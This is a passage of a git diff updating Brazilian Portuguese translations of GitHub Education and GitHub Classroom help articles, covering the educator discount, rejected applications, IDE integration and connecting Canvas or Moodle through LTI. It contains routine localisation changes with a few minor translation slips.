+Para obter mais informações sobre contas de usuário em {% data variables.product.product_name %}, consulte "[Cadastrar-se para uma nova conta de {% data variables.product.prodname_dotcom %} ](/github/getting-started-with-github/signing-up-for-a-new-github-account)".
 
-## Applying for an educator or researcher discount
+## Candidatar-se a um desconto de educador ou pesquisador
 
 {% data reusables.education.benefits-page %}
 {% data reusables.education.click-get-teacher-benefits %}
@@ -32,30 +33,28 @@ For more information about user accounts on {% data variables.product.product_na
 {% data reusables.education.plan-to-use-github %}
 {% data reusables.education.submit-application %}
 
-## Upgrading your organization
+## Atualizar sua organização
 
-After your request for an educator or researcher discount has been approved, you can upgrade the organizations you use with your learning community to {% data variables.product.prodname_team %}, which allows unlimited users and private repositories with full features, for free. You can upgrade an existing organization or create a new organization to upgrade.
+Depois que sua solicitação para desconto de educador ou pesquisador for aprovada, você poderá atualizar as organizações que usa com sua comunidade de aprendizagem para o {% data variables.product.prodname_team %}, o que permite usuários ilimitados e repositórios privados com recursos completos, gratuitamente. Você pode atualizar uma organização existente ou criar uma para atualizar.
 
-### Upgrading an existing organization
+### Atualizar uma organização existente
 
 {% data reusables.education.upgrade-page %}
 {% data reusables.education.upgrade-organization %}
 
-### Upgrading a new organization
+### Atualizar uma nova organização
 
 {% data reusables.education.upgrade-page %}
-1. Click {% octicon "plus" aria-label="The plus symbol" %} **Create an organization**.
-  ![Create an organization button](/assets/images/help/education/create-org-button.png)
-3. Read the information, then click **Create organization**.
-  ![Create organization button](/assets/images/help/education/create-organization-button.png)
-4. Under "Choose your plan", click **Choose {% data variables.product.prodname_free_team %}**.
-5. Follow the prompts to create your organization.
+1. Clique em {% octicon "plus" aria-label="The plus symbol" %} **Create an organization** (Criar uma organização). ![Botão Create an organization (Criar uma organização)](/assets/images/help/education/create-org-button.png)
+3. Leia as informações e clique em **Criar organização**. ![Botão Create an organization (Criar uma organização)](/assets/images/help/education/create-organization-button.png)
+4. Em "Choose a plan" (Escolher um plano), clique em **Escolher {% data variables.product.prodname_free_team %}**.
+5. Siga as instruções para criar sua organização.
 {% data reusables.education.upgrade-page %}
 {% data reusables.education.upgrade-organization %}
 
-## Further reading
+## Leia mais
 
-- "[Why wasn't my application for an educator or researcher discount approved?](/articles/why-wasn-t-my-application-for-an-educator-or-researcher-discount-approved)"
+- "[Por que minha solicitação para desconto de educador ou pesquisador não foi aprovada?](/articles/why-wasn-t-my-application-for-an-educator-or-researcher-discount-approved)"
 - [{% data variables.product.prodname_education %}](https://education.github.com)
-- [{% data variables.product.prodname_classroom %} Videos](https://classroom.github.com/videos)
+- [Vídeos do {% data variables.product.prodname_classroom %}](https://classroom.github.com/videos)
 - [{% data variables.product.prodname_education_community %}](https://education.github.community/)
diff --git a/translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md b/translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md
index 82cc504911..42082eb0b0 100644
--- a/translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md
+++ b/translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md
@@ -1,6 +1,6 @@
 ---
-title: Why wasn't my application for an educator or researcher discount approved?
-intro: Review common reasons that applications for an educator or researcher discount are not approved and learn tips for reapplying successfully.
+title: Motivos da reprovação da candidatura ao desconto de educador ou pesquisador
+intro: Analise os motivos comuns para a reprovação de candidaturas ao desconto de educador ou pesquisador e veja dicas para se candidatar novamente sem problemas.
 redirect_from:
   - /education/teach-and-learn-with-github-education/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved
   - /github/teaching-and-learning-with-github-education/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved
@@ -10,38 +10,39 @@ redirect_from:
   - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved
 versions:
   fpt: '*'
-shortTitle: Application not approved
+shortTitle: Solicitação recusada
 ---
+
 {% tip %}
 
-**Tip:** {% data reusables.education.about-github-education-link %}
+**Dica:** {% data reusables.education.about-github-education-link %}
 
 {% endtip %}
 
-## Unclear proof of affiliation documents
+## Falta de clareza em documentos que comprovam a afiliação
 
-If the image you uploaded doesn't clearly identify your current employment with a school or university, you must reapply and upload another image of your faculty ID or employment verification letter with clear information.
+Se a imagem que você enviou por upload não identificar claramente sua ocupação atual em uma instituição de ensino ou universidade, você precisará se candidatar novamente e enviar por upload outra imagem do seu crachá na faculdade ou de uma carta de verificação de referência pessoal com informações claras.
 
 {% data reusables.education.pdf-support %}
 
-## Using an academic email with an unverified domain
+## Uso de e-mail acadêmico com domínio não verificado
 
-If your academic email address has an unverified domain, we may require further proof of your academic status. {% data reusables.education.upload-different-image %}
+Se o seu endereço de e-mail acadêmico tiver um domínio não verificado, poderemos exigir mais provas do seu status acadêmico. {% data reusables.education.upload-different-image %}
 
 {% data reusables.education.pdf-support %}
 
-## Using an academic email from a school with lax email policies
+## Uso de e-mail acadêmico de uma escola com políticas de e-mail pouco rígidas
 
-If alumni and retired faculty of your school have lifetime access to school-issued email addresses, we may require further proof of your academic status. {% data reusables.education.upload-different-image %}
+Se ex-alunos e professores aposentados da sua instituição de ensino tiverem acesso vitalício a endereços de e-mail concedidos pela escola, poderemos exigir mais provas do seu status acadêmico. {% data reusables.education.upload-different-image %}
 
 {% data reusables.education.pdf-support %}
 
-If you have other questions or concerns about the school domain, please ask your school IT staff to contact us.
+Se você tiver outras dúvidas sobre o domínio da instituição de ensino, peça à equipe de TI dela para entrar em contato conosco.
 
-## Non-student applying for Student Developer Pack
+## Candidatura de não alunos ao pacote de desenvolvedor para estudante
 
-Educators and researchers are not eligible for the partner offers that come with the [{% data variables.product.prodname_student_pack %}](https://education.github.com/pack). When you reapply, make sure that you choose **Faculty** to describe your academic status.
+Educadores e pesquisadores não estão qualificados para as ofertas de parceiros que acompanham o [{% data variables.product.prodname_student_pack %}](https://education.github.com/pack). Quando você se candidatar novamente, lembre-se de escolher **Faculty** (Faculdade) para descrever seu status acadêmico.
 
-## Further reading
+## Leia mais
 
-- "[Apply for an educator or researcher discount](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-an-educator-or-researcher-discount)"
+- "[Solicite desconto para educador ou pesquisador](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-an-educator-or-researcher-discount)"
diff --git a/translations/pt-BR/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md b/translations/pt-BR/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md
index 3d9668f167..713467f7ed 100644
--- a/translations/pt-BR/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md
+++ b/translations/pt-BR/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md
@@ -1,42 +1,43 @@
 ---
-title: Integrate GitHub Classroom with an IDE
-shortTitle: Integrate with an IDE
-intro: 'You can preconfigure a supported integrated development environment (IDE) for assignments you create in {% data variables.product.prodname_classroom %}.'
+title: Integrar GitHub Classroom com um IDE
+shortTitle: Integrar com um IDE
+intro: 'Você pode pré-configurar um ambiente de desenvolvimento integrado (IDE) compatível para atividades que você criar em {% data variables.product.prodname_classroom %}.'
 versions:
   fpt: '*'
-permissions: Organization owners who are admins for a classroom can integrate {% data variables.product.prodname_classroom %} with an IDE. {% data reusables.classroom.classroom-admins-link %}
+permissions: 'Organization owners who are admins for a classroom can integrate {% data variables.product.prodname_classroom %} with an IDE. {% data reusables.classroom.classroom-admins-link %}'
 redirect_from:
   - /education/manage-coursework-with-github-classroom/online-ide-integrations
   - /education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide
   - /education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-online-ide
 ---
-## About integration with an IDE
 
-{% data reusables.classroom.about-online-ides %} 
+## Sobre a integração com um IDE
 
-After a student accepts an assignment with an IDE, the README file in the student's assignment repository will contain a button to open the assignment in the IDE. The student can begin working immediately, and no additional configuration is necessary.
+{% data reusables.classroom.about-online-ides %}
 
-## Supported IDEs
+Depois que um aluno aceita um trabalho com um IDE, o arquivo README no repositório de atividades do aluno conterá um botão para abrir a atividade no IDE. O aluno pode começar a trabalhar imediatamente, e nenhuma configuração adicional será necessária.
 
-{% data variables.product.prodname_classroom %} supports the following IDEs. You can learn more about the student experience for each IDE.
+## IDEs compatíveis
 
-| IDE | More information |
-| :- | :- |
-| Microsoft MakeCode Arcade | "[About using MakeCode Arcade with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom)" |
-| Visual Studio Code | [{% data variables.product.prodname_classroom %} extension](http://aka.ms/classroom-vscode-ext) in the Visual Studio Marketplace |
+{% data variables.product.prodname_classroom %} é compatível com os IDEs a seguir. Você pode aprender mais sobre a experiência do aluno para cada IDE.
 
-We know cloud IDE integrations are important to your classroom and are working to bring more options. 
+| IDE                       | Mais informações                                                                                                                                                                             |
+|:------------------------- |:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Microsoft MakeCode Arcade | "[Sobre o uso do Arcade MakeCode com {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom)" |
+| Visual Studio Code        | [Extensão de {% data variables.product.prodname_classroom %}](http://aka.ms/classroom-vscode-ext) no Marketplace do Visual Studio                                                            |
 
-## Configuring an IDE for an assignment
+Sabemos que as integrações do IDE na nuvem são importantes para a sua sala de aula e que estão trabalhando para trazer mais opções.
 
-You can choose the IDE you'd like to use for an assignment when you create an assignment. To learn how to create a new assignment that uses an IDE, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)."
+## Configurando um IDE para uma atividade
 
-## Authorizing the OAuth app for an IDE
+Você pode escolher o IDE que desejar usar para uma atividade quando criar uma atividade. Para aprender a criar uma nova atividade que utiliza um ID, consulte "[Criar uma atividade individual](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" ou "[Criar uma atividade em grupo](/education/manage-coursework-with-github-classroom/create-a-group-assignment)".
 
-The first time you configure an assignment with an IDE, you must authorize the OAuth app for the IDE for your organization.
+## Autorizando o aplicativo OAuth para um IDE
 
-For all repositories, grant the app **read** access to metadata, administration, and code, and **write** access to administration and code. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)."
+Na primeira vez que você configurar uma atividade com um IDE, você deverá autorizar o aplicativo OAuth para o IDE da sua organização.
 
-## Further reading
+Para todos os repositórios, conceda acesso de **leitura** do aplicativo aos metadados, administração, código e acesso de **gravação** à administração e código. Para obter mais informações, consulte "[Autorizar aplicativos OAuth](/github/authenticating-to-github/authorizing-oauth-apps)".
 
-- "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)"
+## Leia mais
+
+- "[Sobre READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)"
diff --git a/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md b/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md
index 472a3fbbda..d7ef53fa44 100644
--- a/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md
+++ b/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md
@@ -1,9 +1,9 @@
 ---
-title: Connect a learning management system to GitHub Classroom
-intro: 'You can configure an LTI-compliant learning management system (LMS) to connect to {% data variables.product.prodname_classroom %} so that you can import a roster for your classroom.'
+title: Conecte o sistema de gerenciamento de aprendizagem ao GitHub Classroom
+intro: 'Você pode configurar um sistema de gerenciamento de aprendizado compatível com LTI (LMS) para conectar a {% data variables.product.prodname_classroom %} a fim de importar uma lista de participantes para sua sala de aula.'
 versions:
   fpt: '*'
-permissions: Organization owners who are admins for a classroom can connect learning management systems to {% data variables.product.prodname_classroom %}. {% data reusables.classroom.classroom-admins-link %}
+permissions: 'Organization owners who are admins for a classroom can connect learning management systems to {% data variables.product.prodname_classroom %}. {% data reusables.classroom.classroom-admins-link %}'
 redirect_from:
   - /education/manage-coursework-with-github-classroom/configuring-a-learning-management-system-for-github-classroom
   - /education/manage-coursework-with-github-classroom/connect-to-lms
@@ -12,133 +12,166 @@ redirect_from:
   - /education/manage-coursework-with-github-classroom/setup-generic-lms
   - /education/manage-coursework-with-github-classroom/setup-moodle
   - /education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom
-shortTitle: Connect an LMS
+shortTitle: Conectar um LMS
 ---
-## About configuration of your LMS
 
-You can connect a learning management system (LMS) to {% data variables.product.prodname_classroom %}, and {% data variables.product.prodname_classroom %} can import a roster of student identifiers from the LMS. To connect your LMS to {% data variables.product.prodname_classroom %}, you must enter configuration credentials for {% data variables.product.prodname_classroom %} in your LMS.
+## Sobre a configuração do seu LMS
 
-## Prerequisites
+Você pode conectar um sistema de gerenciamento de aprendizagem (LMS) a {% data variables.product.prodname_classroom %}, e {% data variables.product.prodname_classroom %} pode importar uma lista de identificadores de aluno do LMS. Para conectar seu LMS a {% data variables.product.prodname_classroom %}, você deve inserir as credenciais de configuração para {% data variables.product.prodname_classroom %} no seu LMS.
 
-To configure an LMS to connect to {% data variables.product.prodname_classroom %}, you must first create a classroom. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-classroom)."
+## Pré-requisitos
 
-## Supported LMSes
+Para configurar um LMS para conectar-se a {% data variables.product.prodname_classroom %}, primeiro você deve criar uma sala de aula. Para obter mais informações, consulte "[Gerenciar salas de aula](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-classroom)".
 
-{% data variables.product.prodname_classroom %} supports import of roster data from LMSes that implement Learning Tools Interoperability (LTI) standards.
+## LMSes compatíveis
 
-- LTI version 1.0 and/or 1.1
-- LTI Names and Roles Provisioning 1.X
+{% data variables.product.prodname_classroom %} é compatível com a importação de dados da lista de LMSes que implementam os padrões de interoperabilidade de ferramentas de aprendizagem (LTI).
 
-Using LTI helps keep your information safe and secure. LTI is an industry-standard protocol and GitHub Classroom's use of LTI is certified by the Instructional Management System (IMS) Global Learning Consortium. For more information, see [Learning Tools Interoperability](https://www.imsglobal.org/activity/learning-tools-interoperability) and [About IMS Global Learning Consortium](http://www.imsglobal.org/aboutims.html) on the IMS Global Learning Consortium website.
+- LTI versão 1.0 e/ou 1.1
+- Nomes de LTI e provisionamento de funções 1.X
 
-{% data variables.product.company_short %} has tested import of roster data from the following LMSes into {% data variables.product.prodname_classroom %}.
+Usar o LTI ajuda a manter suas informações protegidas e seguras. O LTI é um protocolo padrão do setor e o uso do LTI pelo GitHub Classroom é certificado pelo Sistema de Gerenciamento de Instruções (IMS) Global de Aprendizagem. Para obter mais informações, consulte [Ferramentas de Aprendizagem Interoperabilidade](https://www.imsglobal.org/activity/learning-tools-interoperability) e
+Sobre o Consórcio de Aprendizagem Global do IMS.</p> 
+
+{% data variables.product.company_short %} testou a importação dos dados da lista dos LMSes a seguir em {% data variables.product.prodname_classroom %}.
 
 - Canvas
 - Google Classroom
 - Moodle
 - Sakai
 
-Currently, {% data variables.product.prodname_classroom %} doesn't support import of roster data from Blackboard or Brightspace.
+Atualmente, {% data variables.product.prodname_classroom %} não é compatível com a importação de dados da lista de participantes do Blackboard ou do Brightspace.
 
-## Generating configuration credentials for your classroom
+
+
+## Gerar credenciais de configuração para sua sala de aula
 
 {% data reusables.classroom.sign-into-github-classroom %}
+
+
+
 {% data reusables.classroom.click-classroom-in-list %}
+
+
+
 {% data reusables.classroom.click-students %}
-1. If your classroom already has a roster, you can either update the roster or delete the roster and create a new roster.
-    - For more information about deleting and creating a roster, see "[Deleting a roster for a classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#deleting-a-roster-for-a-classroom)" and "[Creating a roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)."
-    - For more information about updating a roster, see "[Adding students to the roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#adding-students-to-the-roster-for-your-classroom)."
-1. In the list of LMSes, click your LMS. If your LMS is not supported, click **Other LMS**.
-  ![List of LMSes](/assets/images/help/classroom/classroom-settings-click-lms.png)
-1. Read about connecting your LMS, then click **Connect to _LMS_**.
-1. Copy the "Consumer Key", "Shared Secret", and "Launch URL" for the connection to the classroom.
-  ![Copy credentials](/assets/images/help/classroom/classroom-copy-credentials.png)
 
-## Configuring a generic LMS
+1. Se sua sala de aula já tiver uma lista, você poderá atualizar a lista ou excluir a lista e criar uma nova lista. 
+       - Para mais informações sobre a exclusão e criação de uma lista, consulte "[Excluir uma lista para uma sala de aula](/education/manage-coursework-with-github-classroom/manage-classrooms#deleting-a-roster-for-a-classroom)" e "[Criar uma lista de participantes para sua sala de aula](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)".
+    - Para obter mais informações sobre como atualizar uma lista, consulte "[Adicionar alunos à lista para sua sala de aula](/education/manage-coursework-with-github-classroom/manage-classrooms#adding-students-to-the-roster-for-your-classroom)".
+1. Na lista de LMSes, clique no seu LMS. Se o seu LMS não for compatível, clique em **Outro LMS**. ![Lista de LMSes](/assets/images/help/classroom/classroom-settings-click-lms.png)
 
-You must configure the privacy settings for your LMS to allow external tools to receive roster information.
+1. Leia sobre como conectar seu LMS e, em seguida, clique em **Conectar-se ao _LMS_**.
 
-1. Navigate to your LMS.
-1. Configure an external tool.
-1. Provide the configuration credentials you generated in {% data variables.product.prodname_classroom %}.
-    - Consumer key
-    - Shared secret
-    - Launch URL (sometimes called "tool URL" or similar)
+1. Copie a "Chave do Consumidor", "Segredo Compartilhado" e "Iniciar URL" para a conexão com a sala de aula. ![Copie credenciais](/assets/images/help/classroom/classroom-copy-credentials.png)
 
-## Configuring Canvas
 
-You can configure {% data variables.product.prodname_classroom %} as an external app for Canvas to import roster data into your classroom. For more information about Canvas, see the [Canvas website](https://www.instructure.com/canvas/).
 
-1. Sign into [Canvas](https://www.instructure.com/canvas/#login).
-1. Select the Canvas course to integrate with {% data variables.product.prodname_classroom %}.
-1. In the left sidebar, click **Settings**.
-1. Click the **Apps** tab.
-1. Click **View app configurations**.
+## Configurar um LMS genérico
+
+Você deve configurar as configurações de privacidade para o seu LMS para permitir que as ferramentas externas recebam informações da lista.
+
+1. Acesse seu LMS.
+1. Configure uma ferramenta externa.
+1. Forneça as credenciais de configuração geradas em {% data variables.product.prodname_classroom %}. 
+       - Chave do consumidor
+    - Segredo partilhado
+    - Abra a URL (às vezes denominada de "URL da ferramenta" ou similar)
+
+
+
+## Configurar o Canvas
+
+Você pode configurar {% data variables.product.prodname_classroom %} como um aplicativo externo para Canvas para importar dados da lista para sua sala de aula. Para obter mais informações sobre o Canvas, consulte o [site do Canvas](https://www.instructure.com/canvas/).
+
+1. Efetue o login no [Canvas](https://www.instructure.com/canvas/#login).
+1. Selecione o curso do Canvas a ser integrado com {% data variables.product.prodname_classroom %}.
+1. Na barra lateral esquerda, clique em **Configurações**.
+1. Clique na aba **Aplicativos**.
+1. Clique **Visualizar configurações de aplicativos**.
 1. Click **+App**.
-1. Select the **Configuration Type** drop-down menu, and click **By URL**.
-1. Paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)."
-
-    | Field in Canvas app configuration | Value or setting |
-    | :- | :- |
-    | **Consumer Key** | Consumer key from {% data variables.product.prodname_classroom %} |
-    | **Shared Secret** | Shared secret from {% data variables.product.prodname_classroom %} |
-    | **Allow this tool to access the IMS Names and Role Provisioning Service** | Enabled |
-    | **Configuration URL** | Launch URL from {% data variables.product.prodname_classroom %} |
+1. Selecione o menu suspenso **Tipo de Configuração** e clique em **Por URL**.
+1. Cole as credenciais de configuração de {% data variables.product.prodname_classroom %}. Para obter mais informações, consulte "[Gerar credenciais de configuração para sua sala de aula](#generating-configuration-credentials-for-your-classroom)".
+   
+   
+    | Campo na configuração do aplicativo Canvas                                                      | Valor ou configuração                                                    |
+    |:----------------------------------------------------------------------------------------------- |:------------------------------------------------------------------------ |
+    | **Chave de cliente**                                                                            | Chave do cliente de {% data variables.product.prodname_classroom %}
+    | **Segredo compartilhado**                                                                       | Segredo compartilhado de {% data variables.product.prodname_classroom %}
+    | **Permitir que esta ferramenta acesse os Nomes de IMS e Serviço de Provisionamento de Funções** | Habilitado                                                               |
+    | **URL de configuração**                                                                         | Acesse a URL a partir de {% data variables.product.prodname_classroom %}
 
+    
     {% note %}
-
-    **Note**: If you don't see a checkbox in Canvas labeled "Allow this tool to access the IMS Names and Role Provisioning Service", then your Canvas administrator must contact Canvas support to enable membership service configuration for your Canvas account. Without enabling this feature, you won't be able to sync the roster from Canvas. For more information, see [How do I contact Canvas Support?](https://community.canvaslms.com/t5/Canvas-Basics-Guide/How-do-I-contact-Canvas-Support/ta-p/389767) on the Canvas website.
-
+    
+    **Observação**: Se você vir ver uma caixa de seleção no Canvas rotulada como "Permitir que esta ferramenta acesse os Nomes do IMS e o Serviço de Provisionamento de Funções", o administrador do Canvas deverá entrar em contato com o suporte do Canvas para habilitar a configuração do serviço de associação para sua conta do Canvas. Sem habilitar este recurso, você não conseguirá sincronizar a lista do Canvas. Para obter mais informações, consulte [Como posso entrar em contato com o suporte Canvas?](https://community.canvaslms.com/t5/Canvas-Basics-Guide/How-do-I-contact-Canvas-Support/ta-p/389767) no site do Canvas.
+    
     {% endnote %}
 
-1. Click **Submit**.
-1. In the left sidebar, click **Home**.
-1. To prompt Canvas to send a confirmation email, in the left sidebar, click **GitHub Classroom**. Follow the instructions in the email to finish linking {% data variables.product.prodname_classroom %}.
+1. Clique em **Enviar**.
 
-## Configuring Moodle
+1. Na barra lateral esquerda, clique em **Página inicial**.
+1. Para solicitar que o Canvas envie um e-mail de confirmação, na barra lateral esquerda, clique em **GitHub Classroom**. Siga as instruções no e-mail para terminar de vincular {% data variables.product.prodname_classroom %}.
 
-You can configure {% data variables.product.prodname_classroom %} as an activity for Moodle to import roster data into your classroom. For more information about Moodle, see the [Moodle website](https://moodle.org).
 
-You must be using Moodle version 3.0 or greater.
 
-1. Sign into [Moodle](https://moodle.org/login/).
-1. Select the Moodle course to integrate with {% data variables.product.prodname_classroom %}.
-1. Click **Turn editing on**.
-1. Wherever you'd like {% data variables.product.prodname_classroom %} to be available in Moodle, click **Add an activity or resource**.
-1. Choose **External tool** and click **Add**.
-1. In the "Activity name" field, type "GitHub Classroom".
-1. In the **Preconfigured tool** field, to the right of the drop-down menu, click **+**.
-1. Under "External tool configuration", paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)."
+## Configurar Moodle
 
-    | Field in Moodle app configuration | Value or setting |
-    | :- | :- |
-    | **Tool name** | {% data variables.product.prodname_classroom %} - _YOUR CLASSROOM NAME_<br/><br/>**Note**: You can use any name, but we suggest this value for clarity. |
-    | **Tool URL** | Launch URL from {% data variables.product.prodname_classroom %} |
-    | **LTI version** | LTI 1.0/1.1 |
-    | **Default launch container** | New window |
-    | **Consumer key** | Consumer key from {% data variables.product.prodname_classroom %} |
-    | **Shared secret** | Shared secret from {% data variables.product.prodname_classroom %} |
+Você pode configurar {% data variables.product.prodname_classroom %} como uma atividade do Moodle para importar dados da lista para sua sala de aula. Para obter mais informações sobre o Moodle, consulte o [site do Moodle](https://moodle.org).
 
-1. Scroll to and click **Services**.
-1. To the right of "IMS LTI Names and Role Provisioning", select the drop-down menu and click **Use this service to retrieve members' information as per privacy settings**.
-1. Scroll to and click **Privacy**.
-1. To the right of **Share launcher's name with tool** and **Share launcher's email with tool**, select the drop-down menus to click **Always**.
-1. At the bottom of the page, click **Save changes**.
-1. In the **Preconfigure tool** menu, click **GitHub Classroom - _YOUR CLASSROOM NAME_**.
-1. Under "Common module settings", to the right of "Availability", select the drop-down menu and click **Hide from students**.
-1. At the bottom of the page, click **Save and return to course**.
-1. Navigate to anywhere you chose to display {% data variables.product.prodname_classroom %}, and click the {% data variables.product.prodname_classroom %} activity.
+Você deve usar a versão 3.0 ou superior do Moodle.
 
-## Importing a roster from your LMS
+1. Efetue o login no [Moodle](https://moodle.org/login/).
+1. Selecione o curso do Moodle a ser integrado com {% data variables.product.prodname_classroom %}.
+1. Clique em **Ativar a edição**.
+1. Sempre que você queira que {% data variables.product.prodname_classroom %} esteja disponível no Moodle, clique em **Adicionar uma atividade ou recurso**.
+1. Escolha a **Ferramenta externa** e clique em **Adicionar**.
+1. No campo "Nome da atividade" digite "Sala de aula do GitHub".
+1. No campo **ferramenta pré-configurada**, à direita do menu suspenso, clique em **+**.
+1. Em "Configuração da ferramenta externa", cole as credenciais de configuração de {% data variables.product.prodname_classroom %}. Para obter mais informações, consulte "[Gerar credenciais de configuração para sua sala de aula](#generating-configuration-credentials-for-your-classroom)".
+   
+   
+    | Campo na configuração do aplicativo Moodle | Valor ou configuração                                                                                                                                                                     |
+    |:------------------------------------------ |:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+    | **Nome da ferramenta**                     | {% data variables.product.prodname_classroom %} - _YOUR CLASSROOM NAME_<br/><br/>**Observação**: Você pode usar qualquer nome, mas sugerimos esse valor para maior clareza. |
+    | **URL da Ferramenta**                      | Acesse a URL a partir de {% data variables.product.prodname_classroom %}
+    | **Versão do LTI**                          | LTI 1.0/1.1                                                                                                                                                                               |
+    | **Contêiner de inicialização padrão**      | Nova janela                                                                                                                                                                               |
+    | **Chave do consumidor**                    | Chave do cliente de {% data variables.product.prodname_classroom %}
+    | **Segredo partilhado**                     | Segredo compartilhado de {% data variables.product.prodname_classroom %}
 
-For more information about importing the roster from your LMS into {% data variables.product.prodname_classroom %}, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)."
 
-## Disconnecting your LMS
+1. Role para baixo e clique em **Serviços**.
+
+1. À direita do "Provisionamento de nomes e função de IMS LTI", selecione o menu suspenso e clique em **Usar este serviço para recuperar informações dos integrantes como configurações de privacidade**.
+1. Role para baixo e clique em **Privacidade**.
+1. À direita de **Compartilhar o nome do lançador com a ferramenta** e **Compartilhar o e-mail do lançador com a ferramenta**, selecione os menus suspensos para clicar em **Sempre**.
+1. Na parte inferior da página, clique em **Save changes** (Salvar alterações).
+1. No menu **Pré-configurar a ferramenta**, clique em **GitHub Classroom - _OUR CLASSROOM NAME_**.
+1. Em "Configurações comuns do módulo" à direita de "Disponibilidade", selecione o menu suspenso e clique em **Ocultar dos alunos**.
+1. Na parte inferior da página, clique em **Salvar e retornar ao curso.**.
+1. Acesse qualquer lugar que você escolheu para exibir {% data variables.product.prodname_classroom %}, e clique na atividade de {% data variables.product.prodname_classroom %}.
+
+
+
+## Importar uma lista do seu LMS
+
+Para obter mais informações sobre a importação da lista de participantes do seu LMS para {% data variables.product.prodname_classroom %}, consulte "[Gerenciar salas de aula](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)".
+
+
+
+## Desconectar seu LMS
 
 {% data reusables.classroom.sign-into-github-classroom %}
+
+
+
 {% data reusables.classroom.click-classroom-in-list %}
+
+
+
 {% data reusables.classroom.click-settings %}
-1. Under "Connect to a learning management system (LMS)", click **Connection Settings**.
-  !["Connection settings" link in classroom settings](/assets/images/help/classroom/classroom-settings-click-connection-settings.png)
-1. Under "Delete Connection to your learning management system", click **Disconnect from your learning management system**.
-  !["Disconnect from your learning management system" button in connection settings for classroom](/assets/images/help/classroom/classroom-settings-click-disconnect-from-your-lms-button.png)
+
+1. Em "Conectar a um sistema de gerenciamento de aprendizagem (LMS)", clique em **Configurações de conexão**. ![Link "Configurações de conexão" nas configurações da sala de aula](/assets/images/help/classroom/classroom-settings-click-connection-settings.png)
+
+1. Em "Excluir conexão com o sistema de gerenciamento de aprendizagem", clique em **Desconectar do seu sistema de gerenciamento de aprendizagem**. ![Botão "Desconectar do seu sistema de gerenciamento de aprendizagem" nas configurações de conexão da sala de aula](/assets/images/help/classroom/classroom-settings-click-disconnect-from-your-lms-button.png)
diff --git a/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md b/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md
index 7654c97ba3..697a5abb93 100644
--- a/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md
+++ b/translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md
@@ -1,114 +1,115 @@
 ---
-title: Create a group assignment
-intro: You can create a collaborative assignment for teams of students who participate in your course.
+title: Criar uma atribuição em grupo
+intro: Você pode criar uma atribuição colaborativa para equipes de alunos que participam do seu curso.
 versions:
   fpt: '*'
-permissions: Organization owners who are admins for a classroom can create and manage group assignments for a classroom. {% data reusables.classroom.classroom-admins-link %}
